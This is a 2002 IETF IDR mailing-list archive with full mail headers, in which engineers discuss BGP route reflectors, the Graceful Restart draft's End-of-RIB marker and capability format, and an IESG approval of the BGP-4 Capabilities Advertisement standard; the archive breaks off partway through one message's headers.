Received: (from andrewl@localhost) by demiurge.exodus.net (8.9.3+Sun/8.9.3) id WAA10270; Mon, 6 May 2002 22:04:41 -0700 (PDT) Date: Mon, 6 May 2002 22:04:41 -0700 From: andrewl@xix-w.bengi.exodus.net To: Mareline Sheldon Cc: idr@merit.edu Subject: Re: Route Reflectors Message-ID: <20020506220441.B6936@demiurge.exodus.net> References: <20020507043015.36371.qmail@web20303.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020507043015.36371.qmail@web20303.mail.yahoo.com>; from marelines@yahoo.com on Mon, May 06, 2002 at 09:30:15PM -0700 Sender: owner-idr@merit.edu Precedence: bulk Hi Marlene, The short answer is no, a RR server should not _reflect_ routes to it's eBGP peers. It should behave like any other EBGP peering router. The route set it sends to its EBGP peer might be the same as the one it sends to its clients, but it isn't really reflecting (no cluster id, etc.). Andrew On Mon, May 06, 2002 at 09:30:15PM -0700, Mareline Sheldon wrote: > Delivered-To: idr-outgoing@trapdoor.merit.edu > Delivered-To: idr@trapdoor.merit.edu > Delivered-To: idr@merit.edu > Date: Mon, 6 May 2002 21:30:15 -0700 (PDT) > From: Mareline Sheldon > Subject: Route Reflectors > To: idr@merit.edu > Precedence: bulk > X-OriginalArrivalTime: 07 May 2002 04:31:42.0984 (UTC) FILETIME=[16C6F080:01C1F580] > > Hi, > 2796 is clear on what a RR should do when it recieves a route from a client & a non client > IBGP peer. It does not specify what a RR should do when it recieves a route from an EBGP peer. > I suppose it should reflect it to its clients and non clients. Right? > > My question is that should an RR reflect routes it learns from clients/non clients to its EBGP > peers? > > Regards, > Mareline S. > > __________________________________________________ > Do You Yahoo!? > Yahoo! Health - your guide to health and wellness > http://health.yahoo.com Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id AAA24290 for ; Tue, 7 May 2002 00:31:33 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 4CF9C9126C; Tue, 7 May 2002 00:30:20 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id D62339126D; Tue, 7 May 2002 00:30:19 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E21339126C for ; Tue, 7 May 2002 00:30:17 -0400 (EDT) Received: by segue.merit.edu (Postfix) id A96515DE8D; Tue, 7 May 2002 00:30:15 -0400 (EDT) Delivered-To: idr@merit.edu Received: from web20303.mail.yahoo.com (web20303.mail.yahoo.com [216.136.226.84]) by segue.merit.edu (Postfix) with SMTP id 1420D5DE8C for ; Tue, 7 May 2002 00:30:15 -0400 (EDT) Message-ID: <20020507043015.36371.qmail@web20303.mail.yahoo.com> Received: from [203.200.20.226] by web20303.mail.yahoo.com via HTTP; Mon, 06 May 2002 21:30:15 PDT Date: Mon, 6 May 2002 21:30:15 -0700 (PDT) From: Mareline Sheldon Subject: Route Reflectors To: idr@merit.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-idr@merit.edu Precedence: bulk Hi, 2796 is clear on what a RR should do when it recieves a route from a client & a non client IBGP peer. It does not specify what a RR should do when it recieves a route from an EBGP peer. I suppose it should reflect it to its clients and non clients. Right? My question is that should an RR reflect routes it learns from clients/non clients to its EBGP peers? Regards, Mareline S. __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id XAA22682 for ; Mon, 6 May 2002 23:12:31 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id AEAE59120A; Mon, 6 May 2002 23:12:00 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 80CC691214; Mon, 6 May 2002 23:12:00 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 316239120A for ; Mon, 6 May 2002 23:11:59 -0400 (EDT) Received: by segue.merit.edu (Postfix) id AABC45DDDF; Mon, 6 May 2002 23:11:58 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ep_mailout1 (unknown [203.254.224.24]) by segue.merit.edu (Postfix) with ESMTP id 488D75DD9D for ; Mon, 6 May 2002 23:11:58 -0400 (EDT) Received: from custom-daemon.mailout1.samsung.com by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) id <0GVQ00M010TU2H@mailout1.samsung.com> for idr@merit.edu; Tue, 07 May 2002 12:10:42 +0900 (KST) Received: from ep_mmp2 (localhost [127.0.0.1]) by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTP id <0GVQ00LC80TT9D@mailout1.samsung.com> for idr@merit.edu; Tue, 07 May 2002 12:10:42 +0900 (KST) Received: from Manav ([107.108.3.180]) by mmp2.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTPA id <0GVQ00J0Q0TFM6@mmp2.samsung.com> for idr@merit.edu; Tue, 07 May 2002 12:10:29 +0900 (KST) Date: Tue, 07 May 2002 08:40:18 +0530 From: Manav Bhatia Subject: Re: Graceful restart comment To: Jeffrey Haas , Pedro Roque Marques Cc: Gargi Nalawade , Enke Chen , idr@merit.edu Reply-To: Manav Bhatia Message-id: <010c01c1f574$b8d39510$b4036c6b@sisodomain.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <20020429195659.4509F15D3C1@popserv1.redback.com> <3CCDA914.92FE8548@cisco.com> <20020429162659.F21276@nexthop.com> <200204292058.g3TKw4r95825@roque-bsd.juniper.net> <20020429172231.G21276@nexthop.com> Sender: owner-idr@merit.edu Precedence: bulk Hi All, I am sorry for opening up this thread after so long but i am just back to work and i read these mails today itself :-) ----- Original Message ----- From: "Jeffrey Haas" | On Mon, Apr 29, 2002 at 01:58:04PM -0700, Pedro Roque Marques wrote: | > If you have errors in a PDU the best thing to do is to tear down the | > session not to selectivly ignore bits... if you can't trust your peer | > to format updates correctly then you can't trust any of the nlri that | > it has sent you. | | Pedro, | .. | | Can you think of circumstances where your implementation will drop | an update where it doesn't drop the peering session? | | > I can't think of any scenario where it is reasonable to discard | > packets from the neighbor while maintaining the session up... Yes there are circumstances when an implementation will drop an update while it doesn't kill the peering session. One such case is when a speaker receives an update and finds its local CLUSTER_ID in the cluster-list. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id JAA24698 for ; Sun, 5 May 2002 09:38:29 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 8355091227; Sun, 5 May 2002 09:37:58 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 5B73391228; Sun, 5 May 2002 09:37:58 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 4B0CE91227 for ; Sun, 5 May 2002 09:37:57 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 39F1C5DE40; Sun, 5 May 2002 09:37:57 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id A90B75DD94 for ; Sun, 5 May 2002 09:37:56 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g45DbtT80199; Sun, 5 May 2002 06:37:55 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205051337.g45DbtT80199@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 16:47:37 PDT." <831679990.20020503164737@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <85080.1020605875.1@juniper.net> Date: Sun, 05 May 2002 06:37:55 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk > Yakov, > > > Seems reasonable, although wouldn't including the option of using > > dynamic capability re-negotiation create a dependency (in terms > > of moving along the standards track) on the dynamic capability > > re-negotiation ? > > Yes, it will, but what is the status of the dynamic-cap document? IDR WG document. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id TAA29190 for ; Fri, 3 May 2002 19:49:47 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id BFC739133F; Fri, 3 May 2002 19:49:30 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 932AE91340; Fri, 3 May 2002 19:49:30 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 4E6759133F for ; Fri, 3 May 2002 19:48:17 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 0CA575DDF3; Fri, 3 May 2002 19:48:17 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id D99F65DDA3 for ; Fri, 3 May 2002 19:48:16 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173mme-000CX7-00; Fri, 03 May 2002 16:48:16 -0700 Date: Fri, 3 May 2002 16:47:37 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <831679990.20020503164737@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205032011.g43KB8T98611@merlot.juniper.net> References: <200205032011.g43KB8T98611@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, > Seems reasonable, although wouldn't including the option of using > dynamic capability re-negotiation create a dependency (in terms > of moving along the standards track) on the dynamic capability > re-negotiation ? Yes, it will, but what is the status of the dynamic-cap document? Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id QAA24636 for ; Fri, 3 May 2002 16:11:51 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id F2F8291325; Fri, 3 May 2002 16:11:11 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id C86B391326; Fri, 3 May 2002 16:11:10 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id B6A0891325 for ; Fri, 3 May 2002 16:11:09 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 779235DDDF; Fri, 3 May 2002 16:11:09 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id E65E15DDA3 for ; Fri, 3 May 2002 16:11:08 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43KB8T98611; Fri, 3 May 2002 13:11:08 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205032011.g43KB8T98611@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 12:39:00 PDT." <12012920610.20020503123900@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <64096.1020456668.1@juniper.net> Date: Fri, 03 May 2002 13:11:08 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, > > is that it requires dynamic capability re-negotiation. While > > I have nothing against dynamic capability re-negotiation, I think > > it would be useful to have an option that doesn't require it. > > Oh, of course! I fully agree. > I didn't mean to argue that your approach would not be > useful, just shared my thoughts on this. > > I guess the document should include both approaches. Seems reasonable, although wouldn't including the option of using dynamic capability re-negotiation create a dependency (in terms of moving along the standards track) on the dynamic capability re-negotiation ? Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA24157 for ; Fri, 3 May 2002 15:52:24 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 4379191322; Fri, 3 May 2002 15:50:52 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id D628A91324; Fri, 3 May 2002 15:50:51 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6533E91322 for ; Fri, 3 May 2002 15:50:46 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 2B3605DDDF; Fri, 3 May 2002 15:50:46 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id C83DD5DDA3 for ; Fri, 3 May 2002 15:50:45 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43JoiT97484; Fri, 3 May 2002 12:50:44 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031950.g43JoiT97484@merlot.juniper.net> To: Jeffrey Haas Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 15:04:09 EDT." <20020503150409.K27013@nexthop.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <55753.1020455444.1@juniper.net> Date: Fri, 03 May 2002 12:50:44 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Jeff, > On Fri, May 03, 2002 at 11:52:47AM -0700, Yakov Rekhter wrote: > > > > How about if we'll replace the last sentence in the above with > > > > the following: > > > > > > > > When a sender of this capability doesn't include any > > > Sub-AFI> in the capability, it means that the sender is not > > > > capable of preserving its forwarding state during BGP restart, > > > > but is going to generate the End-of-RIB marker upon the completion > > > > of its initial routing updates. The value of the "Restart Time" > > > > field is irrelevant in that case. > > > > > > But in this case, are we now requiring the speaker support mp ipv4/unicas t > > > in order to use graceful restart? > > > > Please point to the text that said so. > > I think I was unclear. > > You said above: > : When a sender of this capability doesn't include any : Sub-AFI> in the capability, it means that the sender is not > : capable of preserving its forwarding state during BGP restart, > > Ergo, the absence of any afi/safi tuples says we don't preserve our > forwarding state. > > Yet, if we don't at least put ipv4/u, we can't gracefully restart > bgp without the mp-extensions and indicate that we preserve our > forwarding state. > > However, the presence of an afi/safi indicates to me that we support > the mp attributes. > > If this isn't the case, we should say that "ipv4/unicast will be sent > even if the ipv4/unicast mp capability is not supported to indicate > forwarding will be preserved". Seem reasonable. Will incorporate in the next revision. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA24150 for ; Fri, 3 May 2002 15:52:08 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 712FD91320; Fri, 3 May 2002 15:49:07 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 44A0E91322; Fri, 3 May 2002 15:49:07 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 9027F91320 for ; Fri, 3 May 2002 15:48:20 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 4B0F85DDDF; Fri, 3 May 2002 15:48:20 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id E63E95DDA3 for ; Fri, 3 May 2002 15:48:19 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43JmIT97414; Fri, 3 May 2002 12:48:18 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031948.g43JmIT97414@merlot.juniper.net> To: Eric Gray Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 15:41:46 EDT." <3CD2E7FA.4419ABCA@sandburst.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <54716.1020455297.1@juniper.net> Date: Fri, 03 May 2002 12:48:17 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Eric, > Yakov, > > I'm not sure that you gain much from avoiding the use of abbreviations > given that you have to explain the meaning of the fields anyway. It is > true that the approach you've used is clear enough and does not require > 'bit counting' - perhaps both representations could be worked into the text > of the draft? Also, you did not comment on the rest of my earlier message > - does that mean that you agree with it, or that you will address it later > (perhaps only after prompting :-))? Here is the other comment from your earlier message: > > OK, I found reading the first sentence a little bit unclear, > > because that sentence did not say anything about reachable NLRI. > > Let me suggest wording that I think would help: > > > > An UPDATE message with empty withdrawn NLRI is specified as the End- > > ^ > > "no reachable NLRI and " > > Of-RIB Marker that can be used by a BGP speaker to indicate to its > > peer the completion of the initial routing update after the session > > is established. For IPv4 unicast address family, the End-Of-RIB > > Marker is an UPDATE message with the minimum length [BGP-4]. I agree with Alex here in that this should be explicit. The text in question might be considered redundant ONLY for the IPv4 case - leaving it unclear as to what is meant to be done in another case. As I replied to Alex, I'll make the change he suggested. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23936 for ; Fri, 3 May 2002 15:43:28 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 31D6391321; Fri, 3 May 2002 15:43:08 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id F154891320; Fri, 3 May 2002 15:43:07 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id C51F891321 for ; Fri, 3 May 2002 15:43:06 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 967325DE33; Fri, 3 May 2002 15:42:56 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id 6F0AC5DE2C for ; Fri, 3 May 2002 15:42:56 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173iwy-00099M-00; Fri, 03 May 2002 12:42:40 -0700 Date: Fri, 3 May 2002 12:42:01 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <17913101310.20020503124201@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031940.g43JeMT97051@merlot.juniper.net> References: <200205031940.g43JeMT97051@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, >> - which is fine, except that I don't think "configured" is the >> right approach here. > What do you think is "the right approach here" ? Just saying that the speaker should not perform that step of the collision detection algo, IMO. Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23904 for ; Fri, 3 May 2002 15:42:19 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 22B079131E; Fri, 3 May 2002 15:41:49 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id E23689131F; Fri, 3 May 2002 15:41:48 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E8B9B9131E for ; Fri, 3 May 2002 15:41:47 -0400 (EDT) Received: by segue.merit.edu (Postfix) id B6F6D5DE29; Fri, 3 May 2002 15:41:47 -0400 (EDT) Delivered-To: idr@merit.edu Received: from sandmail.sandburst.com (sandmail.sandburst.com [216.57.132.42]) by segue.merit.edu (Postfix) with ESMTP id 3ED635DDA3 for ; Fri, 3 May 2002 15:41:47 -0400 (EDT) Message-ID: <3CD2E7FA.4419ABCA@sandburst.com> Date: Fri, 03 May 2002 15:41:46 -0400 From: Eric Gray MIME-Version: 1.0 To: Yakov Rekhter , Enke Chen Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart References: <200205031923.g43JNbT96223@merlot.juniper.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, I'm not sure that you gain much from avoiding the use of abbreviations given that you have to explain the meaning of the fields anyway. It is true that the approach you've used is clear enough and does not require 'bit counting' - perhaps both representations could be worked into the text of the draft? Also, you did not comment on the rest of my earlier message - does that mean that you agree with it, or that you will address it later (perhaps only after prompting :-))? wrote: > Eric, > > > What I normally see in an RFCs is as Alex describes only the result > > would be something like this: > > > > 0 1 2 3 > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > | Flags | Restart Time | Address Family ID | > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > | SAFI ID | AF Flags | ... Additional AF Info | > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > : ... : > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > | AF info continued ... | > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > > > It is clear that this 'picture' can be derived from the text, but the > > 'picture' in the current text gives the first impression that the fields > > are the same length - in spite of the fact that the number of bits makes > > it clear (eventually) that this is not the case... > > The text seems to be pretty clear than each field has its own length > as each field has in parenthesis its lenght: > > +--------------------------------------------------+ > | Restart Flags (4 bits) | > +--------------------------------------------------+ > | Restart Time in seconds (12 bits) | > +--------------------------------------------------+ > | Address Family Identifier (16 bits) | > +--------------------------------------------------+ > | Subsequent Address Family Identifier (8 bits) | > +--------------------------------------------------+ > | Flags for Address Family (8 bits) | > +--------------------------------------------------+ > | ... | > +--------------------------------------------------+ > | Address Family Identifier (16 bits) | > +--------------------------------------------------+ > | Subsequent Address Family Identifier (8 bits) | > +--------------------------------------------------+ > | Flags for Address Family (8 bits) | > +--------------------------------------------------+ > > Moreover, the advantage of the current text is that it eliminates > the need to have any abbreviations (e.g., "Flags for Address Family", > rather than "AF Flags"). > > Finally, this is not the first spec that uses this kind of format - other > specs use this kind of format as well. > > Yakov. -- Eric Gray (mailto:eric.gray@sandburst.com) http://www.mindspring.com/~ewgray Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23875 for ; Fri, 3 May 2002 15:40:59 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id B706B9131D; Fri, 3 May 2002 15:40:28 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 8240C9131E; Fri, 3 May 2002 15:40:28 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 2308F9131D for ; Fri, 3 May 2002 15:40:24 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E0D205DE29; Fri, 3 May 2002 15:40:23 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 5ADAD5DDA3 for ; Fri, 3 May 2002 15:40:23 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43JeMT97051; Fri, 3 May 2002 12:40:22 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031940.g43JeMT97051@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 12:36:43 PDT." <6212783512.20020503123643@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <52287.1020454822.1@juniper.net> Date: Fri, 03 May 2002 12:40:22 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, > Yakov, > > > So, what is exactly the problem with making this work together with > > the connection collision mechanism ? > > No problem. You said: > > > We'll add some text to say that a node has to be configured to prevent > > a connection collision with an existing BGP connection that is in > > Established state to causes closing of the newly created connection. > > - which is fine, except that I don't think "configured" is the > right approach here. What do you think is "the right approach here" ? Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23864 for ; Fri, 3 May 2002 15:40:37 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 458F59131C; Fri, 3 May 2002 15:40:13 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 02AC79131D; Fri, 3 May 2002 15:40:12 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 22AF19131C for ; Fri, 3 May 2002 15:40:10 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E02195DE29; Fri, 3 May 2002 15:40:09 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id 9A0B55DDA3 for ; Fri, 3 May 2002 15:40:09 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA26533; Fri, 3 May 2002 15:40:03 -0400 (EDT) Message-Id: <200205031940.PAA26533@ietf.org> To: IETF-Announce: ; Cc: RFC Editor , Internet Architecture Board , idr@merit.edu From: The IESG Subject: Protocol Action: Capabilities Advertisement with BGP-4 to Draft Standard Date: Fri, 03 May 2002 15:40:03 -0400 Sender: owner-idr@merit.edu Precedence: bulk The IESG has approved the Internet-Draft 'Capabilities Advertisement with BGP-4' as a Draft Standard. This action will obsolete RFC2842. This document is the product of the Inter-Domain Routing Working Group. The IESG contact persons are Bill Fenner and Randy Bush. Technical Summary This document defines an Optional BGP-4 HELLO Parameter, called Capabilities, that facilitates introduction of new capabilities in BGP by providing graceful capability advertisement without requiring that the BGP peering be terminated if new capabilities are not supported. Working Group Summary There was broad consensus in the IDR WG to advance this document to Draft Standard. Protocol Quality Bill Fenner reviewed the specification for the IESG. This protocol is widely implemented, as it is the basis for many heavily used BGP-4 extensions, such as the Multiprotocol Extensions (RFC 2858) and Route Refresh (RFC 2918). Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23847 for ; Fri, 3 May 2002 15:40:04 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 13FA59131B; Fri, 3 May 2002 15:39:42 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id C0D349131C; Fri, 3 May 2002 15:39:41 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 98C3B9131B for ; Fri, 3 May 2002 15:39:40 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 63A8D5DE29; Fri, 3 May 2002 15:39:40 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id 3B70A5DDA3 for ; Fri, 3 May 2002 15:39:40 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173iu3-00094u-00; Fri, 03 May 2002 12:39:39 -0700 Date: Fri, 3 May 2002 12:39:00 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin 